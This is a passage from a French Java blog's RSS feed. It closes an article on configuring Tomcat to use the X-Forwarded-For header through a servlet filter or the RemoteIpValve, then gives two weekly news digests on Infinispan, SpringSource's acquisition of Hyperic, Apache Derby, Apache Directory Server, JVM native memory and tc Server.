name="FrameworksJavaextensiondesappl"></a>Frameworks Java : extension des applications ou du moteur de servlet</h3><p>S&#8217;il est simple de prendre en compte le paramètre <code>X-Forwarded-For</code> dans les access log Tomcat et Apache Httpd, il est sensiblement plus complexe de l&#8217;intégrer dans les frameworks de sécurité et d&#8217;audit. Ces briques sont souvent des librairies tierces et modifier leur code est fastidieux voire impossible si elles sont &#8216;close source&#8217;. Il est donc nécessaire de se placer en amont de ces frameworks pour modifier le comportement de la méthode <code>ServletRequest.getRemoteAddr()</code>.</p><h4><a
name="ServletAPIXForwardedForAsRemot"></a>Servlet API : XForwardedForFilter</h4><p>La première solution est de développer un Servlet Filter que l&#8217;on déploie dans chaque web application.</p><ul><li>Avantage : Simple à implémenter grâce aux interfaces Filter, HttpServletRequest et à l&#8217;HttpServletRequestWrapper qui est destiné à faciliter ce type de développement, ce Filter est utilisable aussi bien avec Tomcat qu&#8217;avec Glassfish, JBoss, Jetty, WebSphere, Weblogic ou tout autre moteur de servlet.</li><li>Inconvénient : lourd à déployer sur toutes les web applications.</li><li>Exemple d&#8217;implémentation: <a
href="http://code.google.com/p/xebia-france/wiki/XForwardedFilter">XForwardedFilter</a> (<a
href="http://xebia-france.googlecode.com/svn/web/xebia-servlet-extras/tags/xebia-servlet-extras-1.0.2/src/main/java/fr/xebia/servlet/filter/XForwardedFilter.java" title="XForwardedFilter.java" >XForwardedFilter.java</a>) gère les headers <code>X-Forwarded-For</code> et <code>X-Forwarded-Proto</code></li></ul><p>Pour installer cette solution :</p><ol><li>Télécharger <a
href="http://xebia-france.googlecode.com/files/xebia-servlet-extras-1.0.2.jar" title="xebia-servlet-extras-1.0.2.jar" >xebia-servlet-extras-1.0.2.jar</a>, compiler <a
href="http://xebia-france.googlecode.com/svn/web/xebia-servlet-extras/tags/xebia-servlet-extras-1.0.2/src/main/java/fr/xebia/servlet/filter/XForwardedFilter.java" title="XForwardedFilter.java" >XForwardedForFilter.java</a> et déployer le jar sous WEB_APP_HOME/WEB-INF/lib ou ajouter la dépendance maven <code>fr.xebia.web.extras:xebia-servlet-extras:1.0.2</code> à votre pom.xml (<a
href="http://code.google.com/p/xebia-france/wiki/XForwardedFilter">doc</a>).</li><li>Déclarer dans <code>web.xml</code> le <code>filter XForwardedFilter</code> :</li></ol><div
align="center"><strong>Declaration du XForwardedFilter</strong></div><pre class="brush: xml; title: ; notranslate">
...
   &lt;filter&gt;
      &lt;filter-name&gt;XForwardedForFilter&lt;/filter-name&gt;
      &lt;filter-class&gt;fr.xebia.servlet.filter.XForwardedFilter&lt;/filter-class&gt;
   &lt;/filter&gt;
   &lt;filter-mapping&gt;
      &lt;filter-name&gt;XForwardedFilter&lt;/filter-name&gt;
      &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
      &lt;dispatcher&gt;REQUEST&lt;/dispatcher&gt;
   &lt;/filter-mapping&gt;
   ...
</pre><ol><li>Tester le résultat avec <a
href="http://blog.xebia.fr/wp-content/uploads/2009/05//x-forwarded-for_as_remote-addr.jsp" title="x-forwarded-for_as_remote-addr.jsp" >x-forwarded-for_as_remote-addr.jsp</a>, le résultat devrait ressembler à <a
href="http://blog.xebia.fr/wp-content/uploads/2009/05//x-forwarded-for_as_remote-addr.jpeg" title="x-forwarded-for_as_remote-addr.jpeg" >x-forwarded-for_as_remote-addr.jpeg</a>.</li></ol><h4><a
name="ExtensionTomcatXForwardedForAs"></a>Extension Tomcat : RemoteIpValve</h4><p>La deuxième solution est d&#8217;ajouter une extension au serveur Tomcat pour en modifier le comportement ; il ne s&#8217;agit plus alors de Servlet Filter et d&#8217;HttpServletRequest mais de Valve et de Request :</p><ul><li>Avantage : solution centralisée gérée par l&#8217;administrateur Tomcat sans intrusion dans les web applications. Cette solution permet de traiter dans le même temps l&#8217;AccessLogValve.</li><li>Inconvénient : intégré à Tomcat seulement depuis la version 6.0.24 ; pour les version antérieures, il faut déployer un jar additionnel.</li><li>Exemple d&#8217;implémentation : <a
href="http://xebia-france.googlecode.com/svn/tomcat/xebia-tomcat-extras/tags/xebia-tomcat-extras-1.0.0/src/main/java/org/apache/catalina/connector/RemoteIpValve.java" title="RemoteIpValve.java" >RemoteIpValve.java</a> gère les headers <code>X-Forwarded-For</code> et <code>X-Forwarded-Proto</code></li><li>RemoteIpValve.java a été intégré au projet Tomcat <a
href="https://issues.apache.org/bugzilla/show_bug.cgi?id=47330"> Bug 47330 &#8211;  proposal : port of mod_remoteip in Tomcat as RemoteIpValve</a> et est documentée sur <a
href="http://code.google.com/p/xebia-france/wiki/RemoteIpValve">GoogleCode : RemoteIpValve</a></li></ul><p>Pour installer cette RemoteIpValve :</p><ol><li>Pour les versions de Tomcat antérieures à la 6.0.24, télécharger <a
href="http://xebia-france.googlecode.com/files/xebia-tomcat-extras-1.0.0.jar" >xebia-tomcat-extras-1.0.0.jar</a>, compiler <a
href="http://xebia-france.googlecode.com/svn/tomcat/xebia-tomcat-extras/tags/xebia-tomcat-extras-1.0.0/src/main/java/org/apache/catalina/connector/RemoteIpValve.java" title="RemoteIpValve.java" >RemoteIpValve.java</a> et déployer le jar sous TOMCAT_HOME/lib.</li><li>Déclarer la <code>RemoteIpValve</code> dans <code>server.xml</code> :</li></ol><div
align="center"><strong>Declaration de la RemoteIpValve</strong></div><pre class="brush: xml; title: ; notranslate">
...
   &lt;Valve className=&quot;org.apache.catalina.connector.RemoteIpValve&quot; /&gt;
   &lt;Valve className=&quot;org.apache.catalina.valves.AccessLogValve&quot; directory=&quot;logs&quot; prefix=&quot;localhost_access_log.&quot;
      suffix=&quot;.txt&quot; pattern=&quot;common&quot; resolveHosts=&quot;false&quot; /&gt;
   ...
</pre><ol><li>Tester le résultat avec <a
href="http://blog.xebia.fr/wp-content/uploads/2009/05//x-forwarded-for_as_remote-addr.jsp" title="x-forwarded-for_as_remote-addr.jsp" >x-forwarded-for_as_remote-addr.jsp</a>, le résultat devrait ressembler à <a
href="http://blog.xebia.fr/wp-content/uploads/2009/05//x-forwarded-for_as_remote-addr.jpeg" title="x-forwarded-for_as_remote-addr.jpeg" >x-forwarded-for_as_remote-addr.jpeg</a>.</li></ol><p>Mark Thomas reconnaît l&#8217;intérêt de faciliter le développement d&#8217;extensions pour Tomcat et la tâche devrait grandement se simplifier avec le projet <a
href="http://socghop.appspot.com/student_project/show/google/gsoc2009/asf/t124021713512" title="Convert current Tomcat valves to Servlet Filters for The Apache Software Foundation" >Convert current Tomcat valves to Servlet Filters for The Apache Software Foundation</a> du <a
href="http://socghop.appspot.com/program/home/google/gsoc2009" title="Google Summer of Code 2009" >Google Summer of Code 2009</a>. Cette évolution ouvre la perspective de développer des filtres d&#8217;infrastructure similaires aux modules écrits en C pour Httpd mais avec la souplesse du langage Java.</p><h4><a
name="Pourallerplusloin"></a>Pour aller plus loin</h4><ul><li>Apache Httpd mod_proxy : <a
href="http://httpd.apache.org/docs/2.2/mod/mod_proxy.html#x-headers" title="Reverse Proxy Request Headers" >Reverse Proxy Request Headers</a></li><li>Squid Cache : <a
href="http://www.squid-cache.org/Doc/config/forwarded_for/" title="forwardedfor configuration parameter" >forwarded_for configuration parameter</a></li><li>Xebia-france Google Code : <a
href="http://code.google.com/p/xebia-france/wiki/RemoteIpValve">RemoteIpValve</a></li></ul><p>2009/05/17 : Ajout des paramètres de configuration des Alteon et BIG-IP pour activer l&#8217;insertion du header <code>x-forwarded-for</code><br
/> 2009/07/12 : Mise à jour du paragraphe sur la Valve tomcat pour utiliser la RemoteIpValve<br
/> 2009/07/17 : Mise à jour du paragraphe sur le servlet filter  XForwardedFilter<br
/> 2009/10/13 : Montée de version de xebia-servlet-extras en version 1.0.1 pour corriger le bug soulevé par Alexandre Victoor<br
/> 2009/11/08 : Ajout de la remarque préliminaire : la valve et le filtre ont été intégrés dans le projet Tomcat.<br
/> 2010/01/24 : Mise à jour de l&#8217;article pour prendre en compte la disponibilité de la RemoteIpValve dans la distribution standard Tomcat depuis la version 6.0.24.<br
/> 2010/01/31 : Montée de version de xebia-servlet-extras en version 1.0.2 pour corriger <a
href="http://code.google.com/p/xebia-france/issues/detail?id=4">Issue 4 &#8211; XForwardedFilter : request.secure and request.scheme are not forced to &laquo;&nbsp;false&nbsp;&raquo; and &laquo;&nbsp;http&nbsp;&raquo; if X-Forwarded-Proto=http</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/05/05/tomcat-adresse-ip-de-linternaute-load-balancer-reverse-proxy-et-header-http-x-forwarded-for/feed/</wfw:commentRss> <slash:comments>41</slash:comments> </item> <item><title>Revue de presse</title><link>http://blog.xebia.fr/2009/05/04/revue-de-presse-xebia-107/</link> <comments>http://blog.xebia.fr/2009/05/04/revue-de-presse-xebia-107/#comments</comments> <pubDate>Mon, 04 May 2009 16:52:50 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Apache Derby]]></category> <category><![CDATA[Apache Directory Server]]></category> <category><![CDATA[Hyperic]]></category> <category><![CDATA[JBoss]]></category> <category><![CDATA[JBoss Cache]]></category> <category><![CDATA[Mémoire]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[SpringSource]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=1905</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII JBoss veut son DataGrid SpringSource renforce (encore) le lien développement / production Le coin de la technique Quelques nouveautés pour Apache Derby L&#8217;actualité d&#8217;Apache Directory Server La mémoire native en Java Actualité éditeurs / SSII JBoss veut son DataGrid Le [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/05/04/revue-de-presse-xebia-107/#JBossveutsonDataGrid">JBoss veut son DataGrid</a></li><li><a
href="http://blog.xebia.fr/2009/05/04/revue-de-presse-xebia-107/#SpringSourcerenforceencoreleli">SpringSource renforce (encore) le lien développement / production</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/05/04/revue-de-presse-xebia-107/#QuelquesnouveautspourApacheDer">Quelques nouveautés pour Apache Derby</a></li><li><a
href="http://blog.xebia.fr/2009/05/04/revue-de-presse-xebia-107/#LactualitdApacheDirectoryServe">L&#8217;actualité d&#8217;Apache Directory Server</a></li><li><a
href="http://blog.xebia.fr/2009/05/04/revue-de-presse-xebia-107/#LammoirenativeenJava">La mémoire native en Java</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="JBossveutsonDataGrid"></a>JBoss veut son DataGrid</h4><p>Le projet JBoss <a
href="http://www.jboss.org/infinispan.html" title="Infinispan" >Infinispan</a> a été initié il y a peu. Il vient de produire <a
href="http://sourceforge.net/project/showfiles.php?group_id=258851&#038;package_id=317644" title="deux versions alpha successives" >deux versions alpha successives</a>. Il s&#8217;agit d&#8217;une réécriture majeure du projet <a
href="http://www.jboss.org/jbosscache/" title="JBoss Cache" >JBoss Cache</a> auquel il succède et qu&#8217;il est destiné à remplacer. Le but premier affiché par ce projet est de produire une solution de DataGrid, là où son prédécesseur n&#8217;offrait qu&#8217;une technologie de cache distribué. L&#8217;ambition est forte, puisqu&#8217;il s&#8217;agit de se positionner sur un marché dominé par les solutions commerciales que sont <a
href="http://www.oracle.com/technology/products/coherence/index.html" title="Oracle Coherence" >Oracle Coherence</a> et <a
href="http://www-01.ibm.com/software/webservers/appserv/extremescale/" title="IBM eXtreme Scale" >IBM eXtreme Scale</a>.</p><p>Une <a
href="http://www.opensourcereleasefeed.com/interview/show/manik-surtani-on-jboss-infinispan-a-new-era-for-open-source-data-grids" title="récente interview" >récente interview</a> de Manik Surtani, <em>project leader</em> d&#8217;Infinispan et JBoss Cache, associée aux <a
href="http://www.jboss.org/community/docs/DOC-13434" title="informations diffuses" >informations diffusées</a> sur le site d&#8217;Infinispan, permet de mieux répondre aux différentes questions que l&#8217;introduction de ce nouveau projet peut soulever :</p><ul><li>Parmi les atouts prévisionnels d&#8217;Infinispan (après sa finalisation) face à Oracle Coherence, Manik Surtani met surtout en avant la nature Open Source, LGPL, de son projet. Il souligne toutefois la richesse d&#8217;Infinispan tant dans le domaine des performances (grâce à une implémentation efficace du <a
href="http://jbosscache.blogspot.com/2008/07/mvcc-has-landed.html" title="MVCC locking" >MVCC locking</a>) que des fonctionnalités (intégration simplifiée à Amazon EC2 et S3, compatibilité serveur <a
href="http://www.danga.com/memcached/" title="Memcached" >Memcached</a>).</li><li>La création d&#8217;un nouveau projet et donc d&#8217;un nouveau nom plutôt que le maintien de JBoss Cache est justifiée pour l&#8217;équipe par la réécriture et les changements d&#8217;API. On peut aussi aisément imaginer que le nouveau positionnement &#8216;DataGrid&#8217; ne coïncidait guère avec un nom de projet &#8216;Cache&#8217;&#8230;</li><li>Infinispan pourra être utilisé en tant que cache Hibernate, ce qui est assez logique compte tenu de l&#8217;affiliation JBoss de ce dernier.</li></ul><p>Face à des concurrents commerciaux bien installés sur ce marché, la tâche ne sera pas aisée pour JBoss, et le but affiché de proposer une solution équivalente à Coherence est très audacieux compte-tenu de la maturité acquise par ce produit. Ce scénario n&#8217;est pas sans rappeler le positionnement qu&#8217;avait JBoss AS lors de son arrivée sur le marché des serveurs d&#8217;application, mais l&#8217;absence de roadmap datée pour Infinispan tend à indiquer qu&#8217;il faudra probablement s&#8217;armer de patience pour savoir si l&#8217;histoire se répétera.</p><h4><a
name="SpringSourcerenforceencoreleli"></a>SpringSource renforce (encore) le lien développement / production</h4><p><a
href="http://www.springsource.com/node/1547" title="SpringSource a annoncé" >SpringSource a annoncé</a> aujourd&#8217;hui le <a
href="http://www.hyperic.com/springsource/" title="rachat de Hyperic" >rachat de Hyperic</a>, l&#8217;éditeur du célèbre outil de supervision du même nom.<br
/> Le partenariat SpringSource / Hyperic ne date pas d&#8217;hier (SpringSource redistribuait une version améliorée du serveur Hyperic dans son produit SpringSource Application Management Suite depuis 2007), mais cette acquisition confirme la direction affichée par SpringSource ces derniers mois : contrôler l&#8217;ensemble du cycle de vie d&#8217;une application Java, de sa conception à son exploitation.<br
/> En effet, un très grand nombre de projets Java s&#8217;appuient aujourd&#8217;hui sur le framework Spring (phase de développement). Un très grand nombre de ces développements tournent sur le serveur openSource Tomcat, dont SpringSource propose une distribution commerciale depuis peu (Spring tc Server). Et aujourd&#8217;hui, grâce à l&#8217;acquisition de Hyperic, SpringSource propose de réaliser l&#8217;exploitation de ces serveurs d&#8217;applications.</p><p>On peut d&#8217;ailleurs supposer qu&#8217;Hyperic devrait rapidement évoluer et proposer une version commerciale encore plus &#8216;orientée&#8217; vers le framework Spring et le serveur Tomcat que ne l&#8217;était Spring AMS, avec une offre de support afférente.<br
/> Parmi les évolutions probables (car souvent évoquées par SpringSource comme des problèmes à résoudre pour les développeurs), nous devrions avoir :</p><ul><li>Gestion de la configuration au niveau Hyperic. Actuellement, Hyperic ne permet de réaliser que des opérations Stop/Start sur la ferme de serveurs. tcServer propose la gestion de la configuration du serveur. On peut donc imaginer un modèle de données qui permettrait de configurer ses tomcats directement depuis l&#8217;outil de monitoring.</li><li>Déploiement phasé. Comme avec JBoss ON, il est souhaitable de voir apparaître un outil permettant de déployer progressivement sur les noeuds d&#8217;un cluster (probablement basé sur un outil de scripting).</li><li>Virtualisation. Le déploiement sur des machines virtuelles types VM-Ware sera facilité.</li></ul><p>Sur ces sujets, l&#8217;apport (et l&#8217;expérience) de Hyperic sera déterminant.</p><p>On peut s&#8217;amuser à retracer les différents rachats de Spring. En 2004, Hyperic est né d&#8217;un fork d&#8217;une partie des équipes de Covalent. En février 2008, <a
href="http://blog.xebia.fr/2008/02/04/revue-de-presse-xebia-42/#SpringSourcerCovalent" title="SpringSource acqurait Covalent" >SpringSource acquérait Covalent</a>. Un peu plus d&#8217;un an après, SpringSource reconstitue l&#8217;entité de 2004 en acquérant Hyperic.</p><p>Javier Soltero, CEO d&#8217;Hyperic affirme qu&#8217;il s&#8217;agit là d&#8217;un mariage de raison, entre deux acteurs qui partagent la même vision de l&#8217;informatique et qui sont les meilleurs (et des standards de facto) dans leur domaine respectif (le développement Java pour SpringSource, et le management IT pour Hyperic). Il va d&#8217;ailleurs rejoindre le board de SpringSource en tant que <em>directeur technique des outils de Management</em>.</p><p>Parmi les effets collatéraux, on peut noter la (très probable) fin du projet (déjà mal en point) <a
href="http://www.rhq-project.org/" title="RHQ" >RHQ</a>, partenariat entre RedHat et Hyperic, qui visait à créer une plate forme &#8216;manageable&#8217; basée sur JBoss.<br
/> Toutefois, JBoss ayant racheté la base de code d&#8217;Hyperic avant qu&#8217;il ne devienne &laquo;&nbsp;public source&nbsp;&raquo;, la fin du partenariat ne veut pas forcément dire fin de JBoss On dont le code à été très largement modifié par les équipes JBoss.</p><p>Le choix de monétisation des assets open source devrait commencer à effrayer les mastodontes de l&#8217;informatique (IBM, Oracle, Microsoft), qui avaient fait du contrôle total de la stack applicative (Java dans un cas, .Net dans l&#8217;autre) leur pré carré. C&#8217;est d&#8217;ailleurs la volonté de Rod Johnson (annoncée lors de <a
href="http://blog.xebia.fr/2009/05/03/springone-2009-synthese/" title="SpringOne Europe" >SpringOne Europe</a>) : devenir un &#8216;One Stop-By Shop&#8217;, comme peuvent l&#8217;être ces géants du monde informatique.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="QuelquesnouveautspourApacheDer"></a>Quelques nouveautés pour Apache Derby</h4><p>Une nouvelle version du moteur de base de données Java de la fondation Apache <a
href="http://db.apache.org/derby/releases/release-10.5.1.1.cgi" title="vient d'être diffusée" >vient d&#8217;être diffusée</a>. Cette version apporte à Derby une dose d&#8217;évolutions intéressantes pouvant aider dans certains cas d&#8217;utilisation. François Orsini <a
href="http://blogs.sun.com/FrancoisOrsini/entry/apache_derby_10_5_1" title="en prsente la liste" >en présente la liste</a>. On retiendra en particulier :</p><ul><li><strong>In-memory backend</strong> : Cette fonctionnalité, <a
href="http://blogs.sun.com/kah/entry/derby_10_5_preview_in" title="particulièrement mise en avant" >particulièrement mise en avant</a> dès la version 10.5 preview, permet de stocker une base de données en mémoire et ainsi de s&#8217;astreindre du stockage sur disque. Derby rejoint ainsi <a
href="http://hsqldb.org/" title="HSQLDB" >HSQLDB</a> et <a
href="http://www.h2database.com/html/main.html" title="H2 Database" >H2 Database</a> qui offraient déjà une telle possibilité, très utile dans le contexte des tests unitaires ou de certaines applications ne nécessitant pas de persistance durable.</li><li><strong>Roles SQL</strong> : Ils permettent de simplifier l&#8217;administration des privilèges attribués à une base de données. La <a
href="http://db.apache.org/derby/docs/dev/devguide/cdevcsecureroles.html" title="documentation de Derby" >documentation de Derby</a> est d&#8217;ores et déjà à jour et permet de faire le tour des possibilités offertes.</li><li><strong>Generated columns</strong> : Il s&#8217;agit de colonnes dont les valeurs sont calculées à partir d&#8217;autres colonnes d&#8217;une même table. Il est également possible de déclarer un index sur une telle colonne afin d&#8217;améliorer les performances sur certains types de requêtes. Cette fonctionnalité est une version allégée des <a
href="http://www.dba-oracle.com/oracle11g/oracle_11g_function_based_columns.htm" title="virtual columns" >virtual columns</a> introduites dans Oracle 11g.</li></ul><h4><a
name="LactualitdApacheDirectoryServe"></a>L&#8217;actualité d&#8217;Apache Directory Server</h4><p>Lors du <a
href="http://lescastcodeurs.com/2009/04/les-cast-codeurs-podcast-episode-2/" title="dernier podcast des Cast Codeurs" >dernier podcast des Cast Codeurs</a>, <a
href="http://hrabal.blogspot.com/" title="Emmanuel Lécharny" >Emmanuel Lécharny</a>, <em>committer</em> français sur <a
href="http://directory.apache.org/" title="Apache Directory" >Apache Directory</a>, a fait un tour d&#8217;horizon de ce projet. Pour rappel, Apache Directory est un projet de la fondation Apache qui produit un serveur LDAP en Java (Directory Server) et un outil de visualisation / édition de <em>directory</em> LDAP basé sur Eclipse (Directory Studio).</p><p>Du fait de son orientation Java, le positionnement de Directory Server sur le marché n&#8217;est pas évident, aussi les cas d&#8217;utilisation ont été longuement décrits ; on retiendra :</p><ul><li>Les tests unitaires, puisque le serveur LDAP peut ainsi être contrôlé et se faire injecter des données par Java lors du déroulement des tests.</li><li>Embarquement du serveur LDAP dans l&#8217;application grâce au mode <em>embedded</em> de Directory Server, lorsque l&#8217;on ne souhaite pas dépendre d&#8217;un serveur externe.</li><li>Profiter de la simplicité de configuration de Directory Server pour le mettre en place rapidement en premier lieu pour éventuellement passer ensuite à un serveur commercial.</li></ul><p>Ainsi, lors de cette interview, il a été question d&#8217;utiliser Directory Server dans des rôles secondaires plutôt  que directement en production. Pourtant, il y a un an, lors de l&#8217;ApacheCon 08, Emmanuel Lécharny <a
href="http://streaming.linux-magazin.de/events/apachecon08eu/archive/" title="s'était longuement attardé sur la question" >s&#8217;était longuement attardé sur la question</a> lors de sa présentation en mettant en avant les fonctionnalités exclusives de procédures stockées et de <em>triggers</em> pour légitimer l&#8217;utilisation de Directory Server en production. Face à l&#8217;oscillation autour de cette problématique, notons qu&#8217;Apache DS, pourrait, plus modestement, être utilisé conjointement à d&#8217;autres serveurs LDAP commerciaux par la mise en place d&#8217;un <a
href="http://en.wikipedia.org/wiki/Virtual_directory" title="virtual directory" >virtual directory</a>.</p><p>Enfin, Emmanuel Lécharny a exposé une synthèse des principales nouveautés à attendre de la future version 2.0, actuellement prévue pour septembre :</p><ul><li>Réplication multi-master entre plusieurs noeuds Apache DS ainsi qu&#8217;avec des noeuds OpenLDAP.</li><li>Disaster Recovery System permettant d&#8217;éviter les pertes de données suite à un crash. Cette fonctionnalité étant actuellement assurée par un journal, peu optimal, qui rend l&#8217;opération de récupération très longue.</li><li>Configuration stockée au sein même du serveur LDAP.</li></ul><h4><a
name="LammoirenativeenJava"></a>La mémoire native en Java</h4><p>Andrew Hall a publié deux articles très intéressants portant sur la gestion de la mémoire native dans la JVM, c&#8217;est-à-dire la mémoire consommée par la machine virtuelle mais ne faisant pas partie de la Java Heap et n&#8217;étant donc pas gérée par le garbage collector. Les systèmes d&#8217;exploitation couverts par ces articles sont <a
href="http://www.ibm.com/developerworks/java/library/j-nativememory-linux/index.html" title="Windows, Linux" >Windows, Linux</a> et <a
href="http://www.ibm.com/developerworks/java/library/j-nativememory-aix/index.html" title="AIX" >AIX</a>.</p><p>Après avoir fait un rappel sur la gestion de la mémoire par les systèmes d&#8217;exploitation, l&#8217;auteur explique en détail les différents composants Java susceptibles de consommer de la mémoire native non gérée au sein de la Heap Java. En font partie le bytecode des classes chargées par les classloaders, la mémoire allouée par le code JNI natif, les <em>direct buffers</em> NIO et les <em>stacks</em> de chaque thread. Le problème est que la mémoire totale adressable par un processus 32 bits est de 2 à 4 Go selon les cas. Des crashs de la JVM, dus à un manque de mémoire, peuvent donc parfois intervenir alors que la Java Heap n&#8217;est pas pleine.</p><p>Les solutions à cette problématique sont passées en revue, parmi lesquelles figurent : réduire la mémoire totale utilisée par la JVM en réduisant la taille de la Java Heap (via -Xmx), réduire l&#8217;utilisation de mémoire native non gérée par la Java Heap, repousser la taille limite de la mémoire adressable par le processus de la JVM en passant par exemple à un OS et une JVM 64 bits.</p><p>Au-delà des informations fournies par ces deux articles, les lecteurs intéressés par ce sujet pourront étudier le très complet, bien qu&#8217;ancien, livre de Bill Venners, &#8216;Inside the Java Virtual Machine&#8217;, <a
href="http://www.artima.com/insidejvm/ed2/" title="partiellement disponible en ligne" >partiellement disponible en ligne</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/05/04/revue-de-presse-xebia-107/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2008/12/15/revue-de-presse-xebia-87/</link> <comments>http://blog.xebia.fr/2008/12/15/revue-de-presse-xebia-87/#comments</comments> <pubDate>Mon, 15 Dec 2008 18:02:24 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Adobe]]></category> <category><![CDATA[Google]]></category> <category><![CDATA[Grizzly]]></category> <category><![CDATA[Guice]]></category> <category><![CDATA[GWT]]></category> <category><![CDATA[jdk-7]]></category> <category><![CDATA[PicoContainer]]></category> <category><![CDATA[SpringSource]]></category> <category><![CDATA[tc Server]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=1121</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Coopération entre SpringSource et Adobe tc Server : SpringSource signe la première offre open source professionnelle sur Tomcat Le coin de la technique Les orientations de GWT : Roadmap GWT 1.6 Java 7, ce n&#8217;est pas pour tout de suite&#8230; [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/12/15/revue-de-presse-xebia-87/#CooprationentreSpringSourceetA">Coopération entre SpringSource et Adobe</a></li><li><a
href="http://blog.xebia.fr/2008/12/15/revue-de-presse-xebia-87/#tcServerSpringSourcesignelapre">tc Server : SpringSource signe la première offre open source professionnelle sur Tomcat</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2008/12/15/revue-de-presse-xebia-87/#LesorientationsdeGWTRoadmapGWT">Les orientations de GWT : Roadmap GWT 1.6</a></li><li><a
href="http://blog.xebia.fr/2008/12/15/revue-de-presse-xebia-87/#Javacenestpaspourtoutdesuite">Java 7, ce n&#8217;est pas pour tout de suite&#8230;</a></li><li><a
href="http://blog.xebia.fr/2008/12/15/revue-de-presse-xebia-87/#SortiedeGrizzly">Sortie de Grizzly 1.9</a></li><li><a
href="http://blog.xebia.fr/2008/12/15/revue-de-presse-xebia-87/#PrsentationdeGoogleGuice">Présentation de Google Guice 2.0</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="CooprationentreSpringSourceetA"></a>Coopération entre SpringSource et Adobe</h4><p>SpringSource renforce son positionnement sur les RIA en signant un accord de partenariat avec Adobe Systems. Un partenariat dont l&#8217;objectif est de simplifier le développement et le déploiement des applications RIA se basant sur Adobe Flex et Spring.</p><p>Adobe et SpringSource se sont alliés pour travailler sur Spring BlazeDS Integration, un projet open source qui vise à simplifier l&#8217;intégration de Spring avec Adobe&#8217;s BlazeDS. Une version bêta est prévue dans une ou deux semaines.</p><p>SpringSource a prévu pour l&#8217;année prochaine un nouvel adaptateur pour Adobe LiveCycle Data Services ES, qui permet d&#8217;instaurer un moteur d&#8217;échanges de données entre les applications RIA basées sur Flex et Spring.</p><p>Ce rapprochement permet à SpringSource de renforcer son positionnement sur les RIA.</p><h4><a
name="tcServerSpringSourcesignelapre"></a>tc Server : SpringSource signe la première offre open source professionnelle sur Tomcat</h4><p>Philip Hanik présente dans <a
href="http://www.springsource.com/node/1116" title=""SpringSource tc Server - The Tomcat you know. The enterprise capabilities you need."" >&laquo;&nbsp;SpringSource tc Server &#8211; The Tomcat you know. The enterprise capabilities you need.&nbsp;&raquo;</a> le périmètre du nouvellement annoncé tc Server.</p><p>On y retrouve tous les ingrédients de la version commerciale d&#8217;un produit open source professionnel :</p><ul><li>Support : de l&#8217;entrée de gamme &laquo;&nbsp;heures ouvrées&nbsp;&raquo; à la formule &laquo;&nbsp;mission critique 24&#215;365&#8243; avec une réponse dans l&#8217;heure</li><li>Packaging : livraison packagée avec les patchs nécessaires au client et des configurations et scripts de démarrage optimisés pour les différentes plateformes (32 vs 64 bits, etc).</li><li>Indemnisation : en cas de problème juridique concernant la nature Open Source de Tomcat.</li><li>Administration centralisée : ajout de mécanismes de gestion centralisée de serveurs Tomcat (configuration des serveurs, déploiement d&#8217;applications clusterisées [1] )</li><li>Audit : suivi des opérations réalisées sur les serveurs.</li><li>Monitoring et alertes : reprise des fonctionnalités de <a
href="http://www.springsource.com/files/SpringSource%20Application%20Management%20Suite%20Datasheet.pdf" title="SpringAMS" >SpringAMS</a> ( <a
href="http://www.hyperic.com/products/open-source-systems-monitoring.html" title="Hyperic HQ" >Hyperic HQ</a> + extensions de monitoring de Spring Framework).</li><li>Diagnostique : détection de thread lock, corrélation des erreurs avec les urls et les threads, mécanisme de <a
href="http://blog.springsource.com/2008/01/07/capturing-failures-and-system-state-part-i/" title="First Failure Data Capture (FFDC)" >First Failure Data Capture (FFDC)</a>.</li></ul><p>Si les premiers points étaient déjà couverts par des offres de support commercial (e.g. <a
href="http://www.springsource.com/products/ers" title="SpringSource Enterprise Ready Server" >SpringSource Enterprise Ready Server</a>), c&#8217;est la première offre de type <a
href="http://blogs.the451group.com/opensource/2008/09/01/andrew-lampitt-defines-open-core-licensing/" title="Open Core Licensing" >Open Core Licensing</a> pour Tomcat (noyau open source + extensions commerciales orientées administration).<br
